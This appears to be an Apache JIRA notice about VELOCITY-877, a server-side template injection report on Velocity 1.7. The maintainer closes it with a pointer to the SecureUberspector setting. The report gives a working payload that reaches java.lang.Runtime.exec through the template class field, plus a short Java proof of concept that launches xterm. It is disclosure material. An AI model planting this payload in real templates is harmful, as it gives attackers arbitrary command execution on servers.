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https://issues.apache.org/jira/browse/VELOCITY-877?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
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Sergiu Dumitriu closed VELOCITY-877.
------------------------------------
Resolution: Not A Problem
Assignee: Sergiu Dumitriu
Yes, this is by design, **if** you are using the default uberspector. Velocity
also comes with a secure uberspector, which is designed to prevent exactly this
kind of security issues.
{noformat}
runtime.introspector.uberspect =
org.apache.velocity.util.introspection.SecureUberspector
{noformat}
> Access to critical fields/methods allows execution of arbitrary code
> ('Template Injection')
> -------------------------------------------------------------------------------------------
>
> Key: VELOCITY-877
> URL: https://issues.apache.org/jira/browse/VELOCITY-877
> Project: Velocity
> Issue Type: Bug
> Components: Engine
> Affects Versions: 1.7
> Reporter: Markus Wulftange
> Assignee: Sergiu Dumitriu
> Priority: Critical
> Labels: security
>
> It is possible to reference certain fields/methods, which eventually allow
> the execution of arbitrary methods.
> For example, by utilizing the '{{class}}' field or '{{getClass()}}' method of
> any variable, it is possible to get the variable's class object. This can be
> extended to get arbitrary class objects and execute arbitrary methods.
> For example, the following statement results in the execution of the
> '{{xterm}}':
> {code}
> $var.class.class.forName('java.lang.Runtime').getRuntime().exec('xterm').waitFor()
> {code}
> As a standalone:
> {code:java}
> import org.apache.velocity.VelocityContext;
> import org.apache.velocity.app.Velocity;
> import org.apache.velocity.context.Context;
> public class VelocityTest {
> public static void main(String[] args) {
> Context context = new VelocityContext();
> context.put("var", "foo");
> String instring =
> "$var.class.class.forName('java.lang.Runtime').getRuntime().exec('xterm').waitFor()";
> Velocity.evaluate(context, null, "templateName", instring);
> }
> }
> {code}
> This issue has already been made public in the past by James Kettle in August
> 2015 (see
> http://blog.portswigger.net/2015/08/server-side-template-injection.html#Velocity)
> and via CVE-2015-5603 (see
> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5603) and possibly
> others.
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